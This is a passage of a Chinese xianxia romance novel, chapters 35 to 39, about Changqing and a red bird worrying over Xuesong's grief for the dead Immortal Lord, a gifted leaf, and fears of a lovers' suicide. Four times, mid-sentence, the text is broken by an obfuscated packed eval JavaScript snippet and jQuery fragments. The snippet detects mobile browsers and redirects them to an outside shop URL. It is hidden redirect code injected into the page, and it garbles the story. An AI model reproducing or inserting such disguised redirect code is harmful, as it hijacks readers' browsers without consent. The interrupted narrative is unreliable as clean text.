如果是前者,那真是爱到不可自拔,如果是后者,大约仍在摇摆,并不确定自己应该是什么态度,也不确定自己是否真的爱过,对仙尊仍有怀疑。
又或者只是占有欲发作,不想让除了自己以外的任何一个人能够通过仙尊留下来的任何东西,哪怕是一只鸟,来回忆仙尊?
如果是这一种,那么显而易见,雪松已经接受自己曾经爱过仙尊的事实,并且仍然决定继续爱下去,以仙尊道侣的身份。
长青并不清楚究竟是哪一种情况,但又不想追根究底,因为觉得,如果打破砂锅问到底,受伤害的只有自己,以至于神色复杂。
“走吧,”雪松从他身边路过,见他不动,提醒他说,“你认得路吧?回院子去。”
长青回过神来,点了点头:“好。”
二人一鸟回到了院子,雪松回房间休息,长青在外面坐了坐,也回了自己的房间,那只鸟左右看了看,停在了树枝上。
长青随手布置了一个隔音法阵,拿起徽章,在房间里走来走去,好一阵子之后,下定了决心,联络了长老问:“您之前没说完的那件事,现在还能再谈谈吗?”
长老想了想:“那件事,好啊,你想问什么?”
“你没说完的,关于那个禁咒的使用的前提条件是什么?”长青深吸一口气,坐在了凳子上,向长老问。
“原来是这个,”长老提起来就控制不住想笑,“前提条件之一,是必须心怀怨恨,而且不是随便一个人都行,是长时间对某一个人,充满了不可遏制的怨恨。”
长老顿了顿,努力让自己听起来严肃一些:“所以一开始发现禁咒有这个前提条件才能使用的时候,大家都觉得这个咒语不封禁也没什么,因为前提条件不是一般人能达到的,只是讨厌或者不满是不行的,我们试过。”
“你们还试验过?”长青挑了挑眉有些惊讶。
“我们总得试验之后才知道威力究竟有多大,才知道应不应该被封禁,”长老耸了耸肩,有点无可奈何,“总不能随便看见一个咒语,觉得威力大了就立刻封掉吧?那也太奇怪,太麻烦,太没有必要,而且太儿戏了!”
长青若有所思,点了点头:“这倒也是。”
他忽然反应过来,猛然一惊:“我还以为用这个咒语的前提是充满爱呢,原来是恨?那岂不是说明,雪松很有可能对仙尊充满怨恨?
可如果,他记得的只有好处,又从哪里来的怨恨呢?他记得一些我们不知道,而且他从来没有跟我们讲过的东西吗?”
长老心情复杂,他之前想起这个的时候也吃了一惊,但现在已经平静很多了,因此面对徒弟再次提起,只感慨道:“大概是的。”
长青沉默了。
窗户忽然响了起来,哐哐的,听起来好像是啄木鸟,他走过去,打开窗户一看,红彤彤的鸟飞了进来。
“你进来做什么?”长青皱了皱眉,往外看了看,院子里没有人,雪松应该没听见他之前在说什么,谨慎起见,他还是把窗关了。
“我刚才隐约听见你好像在谈仙尊?”那只鸟停在桌上,收了翅膀看着他问。
“你怎么会听见?你用什么听见的?你偷听?”长青皱着眉头走过来,站在桌前看着那只鸟说:“我这里有隔音阵法!你居然越过阵法来偷听?”
“不不不,”那只鸟连忙摆翅膀,“没有那回事,只是因为仙尊的印记提醒我,附近有人正在念叨仙尊,我发现是你,所以来问问而已。”
“你的印记都有这种效果,”长青皱着眉头,有些烦躁,往旁边看了一眼,一墙之隔就是雪松住的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673010|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位置,“那仙尊的伴侣会怎么样?”
那只鸟坐在桌上笑嘻嘻说:“他又没有仙尊留下来的印记,怎么能和我一样呢?大约仙尊早料到,如果留下印记会多许多的麻烦事,还不如不留。”
长青神色复杂。仙尊为了让雪松避开和自己有关的事以及麻烦,所以没有给雪松留下自己的印记吗?真是考虑周全。
但仙尊居然在这方面没有占有欲,还挺令人惊讶的。仙尊真的无所谓吗?若果然如此,倒和他冷清清的外表挺配。
可是,他又建洞府又给丹药,又特意准备了剑,又特意准备了软猬甲,甚至还有手镯,恨不得让雪松浑身上下都沾上他的气息,染上他的痕迹,没有一样东西不是他的,这可不像是会在印记方面退让一步的样子。
倒不如说,这种情况比较像雪松的态度,而不是仙尊的,那已经可以想象了,当初仙尊还活着的时候,一边按照雪松的意见隐瞒他们相恋的事实,把人藏得密不透风,一点消息都没有,一边顺势装可怜,让雪松心软,答应把本来的东西换下来,再把沾满自己气息的东西,一样一样挂在道侣身上,恨不得把人时刻带着,一定讨要到很多好处了吧?
只要想一想仙尊究竟是如何得到雪松的灵魂印记再印到软猬甲上的,就该知道,仙尊可不会在这种事情上吃亏。
长青的神色逐渐诡异起来。
雪松在他心里的形象逐渐从形似仙尊的有趣后辈兼被迫害炸毛小可怜,变成熟透了的,鼓鼓囊囊的,快要滴汁的饱满水蜜桃了。
仙尊也从高不可攀的金刚石神像,逐渐变成志得意满,还迫害小年轻并得手的大尾巴狼,仗着一身蓬松的白毛,假装自己是狐狸,其实比狐狸狡猾多了。
实际上,像那种遇上喜欢的道侣,会一口叼住对方的后颈,硬塞进自己窝里,堵住离开的路,一边用舌头给对方梳毛,一边用尖锐的犬齿对别人的大动脉威逼利诱的身强力壮又浑身肌肉的狼。
“你在想什么?”桌子上的鸟歪了歪头,看着长青变来变去的神色,忍不住问。
“一些仙尊和他道侣的事情。”长青慢吞吞给自己倒了一杯茶,垂着眼睛说。
“你为什么不叫他的名字?”那只鸟背着翅膀在桌上走来走去看着他,有些疑惑问。
“他们不是一样的名字吗?”长青看了那只鸟一眼,端起杯子,假装听不懂对面说的话。
“几乎没有人会直呼仙尊的姓名,但另外一个现在的地位和修为,显然都比不上仙尊,如果要谈名字,指的是谁,很好分辨吧?”那只鸟摇了摇头。
“我只是不想那么说,”长青把茶水一饮而尽,皱着眉头,露出苦闷的神色,牙齿发出一点嘎吱嘎吱的响声,“仙尊和他道侣,只是他们两个人的事情,但如果是仙尊和雪松,那我就不得不正视雪松就是仙尊道侣这件事了,雪松就在隔壁,我做不到。”
36.第 36 章
雪松在房间里休息好了之后,巩固了一下修为,顺便打坐,运转了一个周天,就觉得已经神清气爽,可以出门了。
他推开门走出去,院子里没有人,一个姑娘从外面路过,正好看见他走出来,不由得脚步顿了一顿,直勾勾盯着他。
他停住了脚步,站在院子里,看着那个姑娘,觉得有点眼熟,隐约觉得好像见过,那个姑娘仿佛从他的目光里察觉了什么,向他走了过来:“我曾经在这个院子外面见到过和您长得差不多的人,您曾经在这住过吗?”
“没有,”雪松毫不犹豫摇了摇头,在这里住过的是仙尊,不是雪松,雪松如果承认在这里住过,约等于承认自己是仙尊,长青和之前那只鸟多半还在这里,要是听见,又不知道会想些什么了,“你有什么事吗?”
“当初那位和您差不多的人在这住的时候,我还很小,不知道什么,只知道玩,”那姑娘面带回忆,有些腼腆笑了笑,“常常路过这里,偶然间有一次路过,院子里的那位客人,向我打了招呼,送了我一个东西,我想,转送给您,您愿意收吗?”
雪松一下子想起这姑娘是谁了。
当初他来的时候,这姑娘还是个小孩,穿着一条红花裙子到处乱跑,手上脏兮兮的沾着泥巴,看起来好像刚刚和玩伴,在哪里有泥巴的阶梯上玩过家家。
他当时在院子里闲坐,不知哪里飘来的叶子落在他面前,他就伸手接了看,正好那姑娘停在门口望着他,他还以为那姑娘是喜欢那片叶子,反正本来也不是他的,又不值钱,他也就顺手打了招呼送了。
他不记得他还送过别的什么,那这姑娘说的东西,多半就是那片叶子,过了这么久,那片叶子要是保存完好,多半也已经干了。
可是谁会花心思去保存一片叶子?保存这么多年,随手又送出去?这有点太奇怪了。雪松隐约觉得,还是不收下比较好。
他就试探着问:“他送给你的东西,那就是你的了,你确定要送给我吗?你不想要了?还是不喜欢了?”莫不是想丢了又觉得可惜,所以随便找个看起来好像有关系的人收下,也算不浪费?
姑娘看了一眼他手上的两只镯子,认出他其中一只镯子是当初仙尊手上戴着的,心情十分复杂。
虽然还不知道他和仙尊究竟是什么关系,但就凭自己的猜测,一个人能把另外一个人曾经带过的镯子戴在自己的手上,关系多半不会太差。
毕竟如果是仇人,早就恨不得把对方的所有东西都烧了,怎么还会留下?又怎么还会带在自己身上?好像非要时时刻刻看着才罢休!这哪里像是仇人?这分明是情人!
最多是由爱生恨罢了。但恨来恨去,恐怕最恨的,不是对方不爱自己,就是恨对方已经死了,居然不能活过来。
更何况,按照玉镯镇本地的习俗,戴一只镯子是未婚,带两只镯子是不婚,不戴镯子是已婚,像现在这位客人这样,来的时候带一只镯子,或许是不知道,但来了之后就戴上两只镯子,那多半是知道的,否则何必多此一举?
既然知道两只镯子是不婚,还是戴上了两只镯子,说明要么他本来就是这么想的,要么发生了什么事情,让他遇到了,改变了他的主意,他才变成这样,可他如果本来就是这么想的,来的时候为什么不带两只镯子?因为不知道?
他既然要到这儿来,好歹要稍微了解一下这里的习俗吧?真的什么都不知道吗?还是来之前抱有希望,觉得或许可以见到心上人,期待和对方重逢,再举行一场婚礼,才戴着象征未婚的一只镯子呢?
那又是遇到了什么事情,才让他戴上了两只镯子?他找到了和他手上那只镯子匹配的另外一只,同时也是,他死去的爱人为他留下的,礼物和遗物吗?
所以他才不婚?因为他们从来没有结过婚,又或者,哪怕已经结过了,其中一个死了,婚约自然失效,剩下的活着的那一个,虽然可以结婚,却也已经不愿再结?
真是一对苦命鸳鸯!
姑娘念及至此,连忙摆手,生怕有一点误会,急匆匆说:“不是不想要,也不是不喜欢,我知道他送给我就是我的,我好好保存了,我只是觉得,那东西与其放在我这里,不如放在你那里,或许更有意义一些,他知道了,也会高兴的。”
雪松虽然搞不清楚,这姑娘后半段究竟在说些什么,但听出对面的意思没有更改,也不想在这件事上争执,将信将疑,点了点头,顺着对方的意思说:“既然如此,那好吧。”
姑娘眼前一亮:“这么说,你会收下?”
雪松再次点了点头:“是的。”
姑娘高兴起来,笑眯眯说:“那我现在就去把东西给你取来!请你一定在这等我!我马上就回来!一定交到你手上!”
雪松虽然对这种郑重的态度有一点惊讶,但想到那东西毕竟是对面保存了那么久的,倒也可以理解,点了点头:“我知道了,我会在这等你回来的,直到你把东西给我。”
姑娘笑着点头,已经迫不及待了:“那好。”
说完,人就已经跑出去了。
雪松想着现在回房间去,那姑娘回来,或许在外面看不见他,会以为他走了,不想让人平白无故担心着急,往周围看了看,走到树下去,等待起来。
此时,正在房间里的长青和旁边的红色鸟面面相觑,已经隔着窗户旁听完了整件事情的经过,忍不住在隔音阵法的庇护下,低声讨论。
“那姑娘要转送给仙尊道侣的东西,莫不就是当初仙尊打算送给道侣的?只不过当初,阴差阳错,没有送出去,干脆,就转送给了那姑娘?”红羽毛鸟神色诡异,喃喃问。
“这确实很有可能,”长青若有所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678683|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思,点了点头,“不然怎么能解释,那姑娘一看见仙尊道侣就觉得,当初仙尊送给自己的东西,应该转送给别人呢?”
一般人可不会随便把礼物转赠出去,更不会把自己保存了很久的东西,随便送给一个才见一面的陌生人。
除非,收礼者觉得,这个陌生人才是,应该收礼的那个人,也是更适合收藏那个礼物的人,才会这么做。
红羽毛鸟连连点头,觉得自己的想法和长青不谋而合,看了他一眼说:“也许,早在当初仙尊把那东西送给姑娘的时候,就算准了,那姑娘会在今天见到自己的道侣,也知道那姑娘会在今天,把自己送出去的东西,转交给道侣。
所以,那确实就是仙尊本来打算送给道侣的东西,只不过,不是打算当初送出去,而是打算现在送出去。”
毕竟,活人送出去的东西只不过是礼物,死人送出去的东西可是遗物,遗物那种东西,弄损一件少一件,弄丢一件少一件,总之是越来越少,而不会越来越多。
纪念意义绝对更重,也更容易叫人在平静中感到无可奈何的悲痛,不由自主回忆起死者的生前,和自己相处的片段,以及从前那些波涛汹涌的感情,还有无处安放的情绪。
长青听后,忍不住感慨:“仙尊这一招真妙啊,活着的时候把人藏得严严实实,死了之后倒是把人放出来了,但并不代表他放手了。”
他只是从一直待在对方身边,变成仿佛碎了无数块的影子,无处不在,无所不依,既要叫人对他的死亡和感情都无能为力,又要叫人时时刻刻想起他。
从前的感情只要还剩下一丝,在这样一次又一次的唤醒下,也绝对会被漫长的时间和沉重的物品发酵成,令人惊讶的,无可承受的——
扭曲的,爱恨交织的,无可言喻的痛苦。
红色羽毛鸟头皮发麻,狠狠打了个哆嗦,心情复杂感慨道:“毫无疑问,有数不清的人想要成为仙尊的道侣,但如果这些人知道,成为仙尊道侣的代价就是在仙尊死后,也能处处感知到仙尊存在过的痕迹,简直像被永远无法摆脱的幽灵缠上,恐怕也会犹豫吧?”
“如果不爱仙尊是不会有所触动的,见到这些大约也不过觉得厌烦罢了,”长青摇了摇头,对那些陌生人不抱任何希望,“只是白费了仙尊的一番苦心。”
“仙尊不会爱一个不爱他的人,哪怕是在他死后,”红色羽毛鸟坐在桌边,对此倒仿佛深有了解,“他不是那种随便交付爱意的人,否则,他也不会到死都被人认为,是高不可攀的存在了。”
长青点了点头:“这倒也是。那些转瞬之间就改变主意的人,怎么配当仙尊的道侣呢?也只有在仙尊死后仍旧念念不忘的人,配得上仙尊。”
一人一鸟沉默了一阵子。
那只鸟忽然提议说:“要不我们出去转转吧?”
37.第 37 章
长青和红色鸟,眨眼间消失在了房间内,一个呼吸之后,又出现在了院子外面不远处的地方,一个树林茂密投下阴影的路口。
长青和鸟对视了一眼,异口同声问:“你怎么不走门?”
红色鸟低头啄了啄自己的羽毛,不知是心不在焉,还是有意遮掩,低声回答道:“我只是一只鸟,当然不走门了!那太奇怪了吧?”
“雪松就站在院子里面,”长青挪开目光,注视着不远处院中的雪松,心情复杂回答道,“我从他面前路过,总感觉不太好。”
红色鸟点了点头:“这倒也是,他现在看起来像是被仙尊的事情牵引了心神,如果现在有谁从他面前路过,恐怕会让他更加烦躁,没有办法集中注意力,对他不好,对路过的人也不好。”
因为他们都感觉,如果现在从雪松面前路过,可能会收到雪松充满希望似的猛然一瞥,就好像可能会看见仙尊一样。
他们当然不是仙尊,也不可能变成仙尊,更不可能现在把仙尊召唤过来,那雪松毫无疑问,看见他们的时候是会失望的,他们不希望雪松失望,更不想直面那张脸上出现那样的表情。
所以还是绕开门比较好。
长青和红色鸟对视一眼,默默挪开目光,又沉默了一会儿,思考之后应该说点什么,随后是长青先开口了:“我们就站在这儿吗?”
“或许我们可以出去走走,”红色鸟扑扇了一下翅膀回答,“一直站在这里也不是个事儿,要是被注意到就不好了,更何况,去拿东西的那姑娘一时半会儿应该也不会回来,我们可以到路上去找。”
说到这里,红色鸟顿了顿,转头看向长青说:“其实我想,那姑娘手里的东西还是不要交给雪松比较好,毕竟是仙尊的东西,要是触景生情,害人难过,也没有必要看吧?再说,仙尊都已经死了有一阵了,干扰活人的情绪,恐怕有损阴德呢。”
长青嗤笑了一声:“究竟是有损阴德,还是你自己不愿意看见呢?”
“我有什么可不愿意看见的?”红色鸟把头一偏。
“你不愿意看见雪松怀念仙尊,也不愿意看见,仙尊当真与雪松关系好到这个地步,不是吗?”长青慢条斯理问。
红色鸟没有回答,沉默了一阵说:“我要到外面去看看了,也许能见到那姑娘,总之,我是要想个办法,让那姑娘手里的东西消失的,你可以跟上来,也可以藏起来,当做什么都没有听到,但我暂时不会改变主意。”
说完,红色鸟扑扇着翅膀飞走了。
长青跟在红色鸟的身后,面色平静,闲庭信步:“这也巧了,我也不太希望雪松和仙尊联系过多,哪怕仙尊已经死了。”哪怕他们可能曾经是道侣。
红色鸟有些惊讶,看了他一眼,没想到他还真能和自己在这方面的想法一样,而且一点都不阻止,甚至好像有帮忙的意思。
不过,这对鸟来说是好事,红色鸟垂眼想了一想,没感觉出来他是撒谎或者欺骗,就沉默着继续往前飞,一副顺其自然的姿态。
一人一鸟在小路上见到了急匆匆带着东西去找雪松的姑娘,那姑娘穿一身红色长裙,手里提着一个黄色的口袋,正往前走。
长青隐匿了身形,跟在姑娘身边,正想找个办法,让姑娘不小心把东西遗失,反正东西没有交到雪松手里,雪松看起来也不是很想要,不小心弄丢的话,应该不会追根究底,或者大发雷霆,造不成什么严重后果。
但对他来说,就算好了。
那姑娘忽然在院子不远处停住,往前望了望,发现雪松就在院子里,忽然踌躇起来,转了个身,好像想要回家,又转了回来,似乎觉得自己不能就这么走了,脸上渐渐红了,一时又发白,不知在想些什么,还跺了跺脚,像是怕蚊子咬,又像是怕自己立刻跑掉,非要鼓鼓气不可。
长青听见那姑娘低着头喃喃自语:“要是把东西给他,他一定要伤心了,要是不把东西给他,我就是说话不算话,我该怎么办?早知道我不该告诉他的,他看起来不太高兴。也对,仙尊已经死了,拿到仙尊的东西,又能高兴到什么地步呢?真是好心办坏事啊!”
姑娘皱着眉头在树底下转来转去,屏住呼吸,忽然顿住,面向树干,把手里的口袋拿了起来,轻轻打开,定睛一看,不知是不是松了一口气,自言自语道:“东西还在,一点损坏都没有,应该可以给他吧?可万一他不想要呢?万一他其实不喜欢呢?我怎么承受得住?我又怎么向仙尊交代?哪怕仙尊并没交代什么,可是用头发丝想想也知道,就凭那两只一模一样的镯子,仙尊肯定是想让我,把东西交给他的。”
姑娘又纠结起来。
但这给了长青机会,长青可不纠结,他念了个咒,招来一阵风,往前吹了口气,只听呼的一声响,满树的叶子哗啦啦叫了起来。
树下的姑娘猛然一惊,左右转头,看来看去,像是怕被人认为形迹可疑抓起来,又像是怕被雪松发现,连忙往树干旁边再躲了躲。
就是这个时候,姑娘没注意手里的口袋,刚才那阵风已经把口袋里的东西卷了起来,往远处吹去。
姑娘一边用手按着头发,一边隐约感觉到什么东西被吹走了,顺着风抬头一看,正好看见那片枯黄的叶子,在半空中一卷,向远处飘去,大惊失色,顿时喊道:“等等!”
姑娘一边喊一边追过去,伸手想要抓,没抓到,急得在原地跳来跳去。
院子里的雪松听见了声音,转头往这看了过来,看见半空中的那片叶子,仿佛是认出来了,神色有些回忆,站起身,向那片叶子走去,伸出手,似乎念了个咒语。
一阵微风在半空中一卷,就把那叶子卷了过去,正巧天上有一排大雁,飞着飞着,忽然变作回字形,顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683992|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着风发出叫声,听起来莫名有些凄凉。
此时,一轮饱满的明月挂在中天上,暗沉沉的天泛着蓝,满院清辉,雪松就站在院子里,伸出手接住了那片半空中飞落的叶子。
月光洒在他的身上,使他那苍白的发色,蒙上了一层混沌的光晕,好像他下一刻就会在众人眼前消失,一种脆弱恍惚又莫名饱经沧桑的感觉,那一瞬间,像极了死去的仙尊。
所有看着他的人都愣住了,一时间什么也反应不过来,只知道呆呆站在原地,直勾勾看着他,好像他真用鱼钩勾住了他们的眼睛,使他们不得不看着他。
“云中谁寄锦书来?雁字回时,月满西楼。”长青仰头望了一望天,不由得感怀伤神,皱着眉头,喃喃自语。
姑娘呆呆看着手托叶子的雪松,再次注意到雪松手腕上的两只镯子,忽然明白这是什么意思,神色恍惚道:“何以致契阔?绕腕双跳脱。”
原来仙尊把镯子留给雪松,是这个意思?这倒也不奇怪。假如他们真是道侣,一双镯子,不过寻常。可仙尊已经死了。
她没有什么时候比现在更清楚这一点。
仙尊已经死了,留在这里的,不过是他的未亡人,兴许,也不过是个,看起来好像还活着的躯壳罢了。
不管仙尊留下的是镯子还是叶子,都是死物,再怎么样,他也不可能活过来,这些东西,也只有徒劳使人伤心,不可能增加丝毫的愉悦。
“我不该来。”姑娘摇了摇头,喃喃自语,转身飞快跑走了,像是要躲避什么扑面而来的悲伤导致的痛苦,又像是觉得自己犯了错却无法弥补而不得不逃跑。
那姑娘的影子一下子不见了。
长青觉得自己这个时候或许应该去问一问,就向雪松走去,站在院子外向他问:“你还好吗?”
雪松不知道他在外面,惊了一惊,把那片叶子收起来,点了点头,面色平静答道:“还好。”
长青仔细观察雪松的表情,发现雪松好像是真的平静,仿佛根本意识不到,那姑娘为什么,非要把这东西转交给他。
但那姑娘之前应该说得够清楚了,雪松不可能不知道,那就只有一个可能了,雪松觉得用不了多久,他就会和仙尊重逢。
那么,即使现在暂时和仙尊分离,看见这样那样的仙尊送给他的东西,而见不了仙尊的人,也无所谓。
他想要殉情?!
长青猛然一惊,意识到这一点,神色海啸一般剧烈变化,三步并作两步冲过去,一把抓住了雪松,想要劝他,又不知从何说起。
殉情这种事,对当事人而言或许是解脱,他又从何阻拦呢?他一个外人,既不了解内情,又不曾参与什么,被蒙得严严实实,他又能说些什么呢?雪松真会听他的吗?
恐怕,雪松不会那么容易改变主意,反而会因为他尝试阻止而提起警惕。
38.第 38 章
长青想了想,目光落在雪松手里的那片叶子上,又打量了一番雪松脸上的表情,忽然升起了一点疑惑。
雪松知道这就是那个姑娘想要交给他的,仙尊曾经送出去的东西吗?那姑娘好像并没有对他描述过这东西的样子吧?他怎么知道?
“你知道这是什么?”长青试探着,望着雪松问。
“我知道,”雪松轻轻挑了挑眉,不知道他为什么问这个问题,有一点疑惑回答,“这是一片叶子。”
长青皱了皱眉,不知道是应该庆幸仙尊并没有在那上面留下任何痕迹,还是应该担忧雪松的精神状态是不是稳定。
万一真有什么字,只是他暂时没看出来呢?要是之后看出来了,那可就糟糕了。到时候的情绪波动,一定比现在剧烈得多。
长青顿了顿,又问:“那能送给我吗?”如果对雪松而言,这只是一片普通的叶子,想来转送他应该也没什么大不了,就像仙尊当初把叶子转送给那个姑娘。
如果对雪松而言,这是一片特殊的叶子,象征着仙尊曾经留下的爱意,那大概是不会同意的,但试一试,雪松应该也不会生气。
万一呢?
长青看着雪松,雪松注视着手里的叶子,要送出去倒也没什么,虽然这是仙尊送出去的东西,又刚回到他手里,但他就是仙尊。
他对仙尊的东西,没有什么特别的念想,甚至可以说要多少有多少,因为他用过的东西,都可以算作是仙尊的东西,不需要尤其注意,问题在于,他刚拿到手就送出去,似乎不太好,哪怕这本来是他的,可这东西,分明是那姑娘要送给他的。
他要是转送给长青,那姑娘看见了,生气怎么办呢?他可不想平白无故惹人生气,更不怎么会哄姑娘开心。何况这还是可以避开的事。
“不,”雪松想了想,做出决定,摇了摇头,“我不送给你。”
长青呆呆看着他。
他根本不知道自己刚才露出的表情像什么样子吧?恍惚怀念又温和,像是陷在棉花糖做的梦境里,回忆到了过去的仙尊。
从来没有这么温和过,也从来没有什么时候像现在这样,让人一眼就看得出来,他是在思考和回忆,那他思考和回忆的对象,除了仙尊,还能有谁呢?
他就这么对仙尊念念不忘?时时刻刻都记着?不管看什么东西,不管说什么话,不管面前是什么人,也不管是什么时候,在哪?
不对,也许正是因为,回忆仙尊需要天时地利人和,他才会在这个仙尊曾经居住过的院子里,拿着仙尊曾经送给别人的东西,听着旁人在耳边,询问关于仙尊的事,在这种寒风萧瑟,树影婆娑的月夜里,不得不回忆起仙尊吧?连表面上的伪装也顾不得。
他平日里提起仙尊的时候,比现在平静多了。哪怕有些情绪波动,也不过是疑惑,愤怒,将信将疑和惊疑不定,而不是现在这样。
这分明是悲痛至极,以致连自己在悲痛什么都记不得的,令人痛惜可怜的,六神无主的茫然。
既然如此,他不愿意把东西转送出来,倒也正常。
长青默默在心里叹了一口气,说不清自己是觉得可惜还是感慨,也有可能是跟着恍惚了,在这种极其适合回忆和悲伤的夜里。
想了想,长青还是没有问为什么,或许是因为觉得直接问出来太残忍了,就像是拿刀割开别人的喉咙,再看着血缓缓流出来一样。
因此他说:“时间不早了,回去休息吧?”
雪松看了看手里的叶子,又看了看院外清静无人的小路,那姑娘似乎不会回来了,至少今天晚上不会,他不用在这等了。
雪松把叶子看了看,收了起来,点了点头说:“那你们也早点休息吧。”
长青点了点头,算是听见了,红色羽毛的鸟磨磨蹭蹭从外面飞进来,站在树枝上,默不作声,看着他们。
雪松顿了顿,转头问他们:“说起来,你们打算什么时候走呢?”
“什么时候?”长青重复了一遍他的话,打量了他一番问:“你打算尽快离开这里吗?”你不想继续待在这了?虽然看起来似乎比之前好了一些,但也许还需要休息时间,你之前的伤可不轻。
“我觉得我好的差不多了,”雪松垂着眼睛回答,“更何况,继续待在这里也没什么事要做吧?你之前不是想去东海吗?趁着这个任务结束之后,我还有时间,我们可以立刻去。”
长青注视着他,试图判断他说这话只是客套还是真心实意。好得差不多了?表面上看是这样,但谁受了那么重的快要死的伤,只用休息两天就会全好呢?更何况中间还有突破。
突破虽然是好事,也绝对会提升修为,但是,雷云可不是来虚的,劫雷绝对是结结实实打过,修为才会进步的,既然如此,适应修为一定是需要时间的,一两天够吗?
继续待在这里,没什么事做?修仙之人每天打坐要花的时间可长了,根本无聊不起来。那么,想要离开这,究竟是因为无事可做,还是因为见到了仙尊曾经见过的人,拿到了仙尊曾经送出去的礼物,住在仙尊曾经住过的房子里,不受控制想到了仙尊而触景伤情,无法继续待在这儿呢?
至于东海?长青曾经确实对雪松提起过。但雪松之前,一直是记得有这么一回事,但是压根不急着去的状态,怎么现在突然变了?
有什么事情让他着急了吗?最近发生了什么?他见到了仙尊留下的东西?难道是仙尊让他去?仙尊恐怕不会做这种事。
那就是他忽然迫不及待想要了解,仙尊和他之前曾经发生过的一些,他根本不记得的事情?这倒也不是不可能。
听起来总比殉情好些。说起来,就算要殉情,也不能什么都不知道就去。那去的路上应该不会出什么事,答应也没关系。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690030|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“好吧,”长青说,“你今天晚上好好休息,明天我们就到东海去,看看那块三生幻境石,如何?”
雪松点了点头:“好。”也不知道这块石头能照出什么来,应该什么都照不出来吧?毕竟他和仙尊并没有三生三世。
倒是那个幻境需要注意,横竖都是假的,也不知道会不会直接胡编乱造一通来糊弄人,反正都是幻境,要乱造可容易了。
次日一早,长青就去找雪松,雪松住在他的隔壁,他推开门进入院子,转身顺着走廊,就到了雪松的门口,正打算敲门,忽然发现旁边的窗户没关,愣了一下,下意识看了过去。
雪松并没有休息,也没有打坐修炼,而是坐在窗前桌边,看着什么的样子,长青把目光落在桌上,定睛一看——
那东西不是别的,正是昨天晚上雪松才拿到的,仙尊曾经送给本地姑娘又被转送回来的,那片叶子。
长青倒吸一口凉气,他吸引了雪松的注意,雪松抬头看了他一眼,面色十分平静,但一看就不是刚醒来的样子。
显然,要么已经醒来一会儿了,要么昨天晚上就没休息过,所以,看起来才能这样清醒又平静,一副刚刚接受清晨露水洗礼过的样子。
长青下意识屏住了呼吸,顿时有种自己正在面对仙尊的错觉,虽然他知道仙尊已经死了。
但他不得不承认雪松真的和仙尊十分像,尤其是这种平静的,没有表情又十分宁静的时候,很有拷问人心的能力。
“现在就走吗?”雪松把那片叶子收起来,推开门,向他问。
“走吧。”长青点了点头。
雪松要是清晨就拿出那片叶子,是感怀伤神,触景伤情,睹物思人,但要是昨天晚上就看着那片叶子,直到今天早上都没干过别的,那至少是想了一夜,究竟要怎么办才好,看样子似乎今天早上也没想好。
不会真是打算殉情吧?除了这件事,还能有什么事情,需要思考这么久还没有结果?说了这件事,还有什么事情,非要看着那片仙尊留下来的叶子,才能想清楚呢?
长青猛然警惕起来。他不会给雪松一丁点死在自己面前的机会的!仙尊已经死了!死人是没有前途的!
雪松忽然停住,长青猛然一惊,一把抓住他问:“怎么了?”
雪松低头往下看了看,问他:“底下那个村子仿佛有什么事情正在发生?你没察觉?”
长青皱起眉头,怀疑这是他分散自己注意力的办法,垂眼往下看去,还真发现底下村子似乎正有什么麻烦,若有所思:“我们只是路过,也不知道什么情况,还是不要靠近比较好。”
“事情似乎很紧急,”雪松再次看了看,摇头说,“还是去看一看。”他一边说一边降下云头,落在村子不远处,旁观起来。
长青只好跟着他一起下去,但仍然没有放开他,警惕道:“看了就走吧?”
39.第 39 章
“奇怪,”雪松转头看向长青,有些疑惑问,“你之前并不这样着急,你联系了谁在那边等你吗?如果真是这样,你可以自己先去,我随后就到。”
长青本来就怀疑雪松想趁机殉情,听见他这样一说,更加确信他是要把自己支开,连忙摇头:“我没有联系别人,也不必先去,我只是觉得,平白无故我们还是不要插手这里的事情比较好,毕竟又不了解前因后果,谁知道会不会一不小心弄巧成拙呢?那可不妙!”
“没关系,”雪松摇了摇头,观察着不远处,村子里的情况,“先看一看吧。”
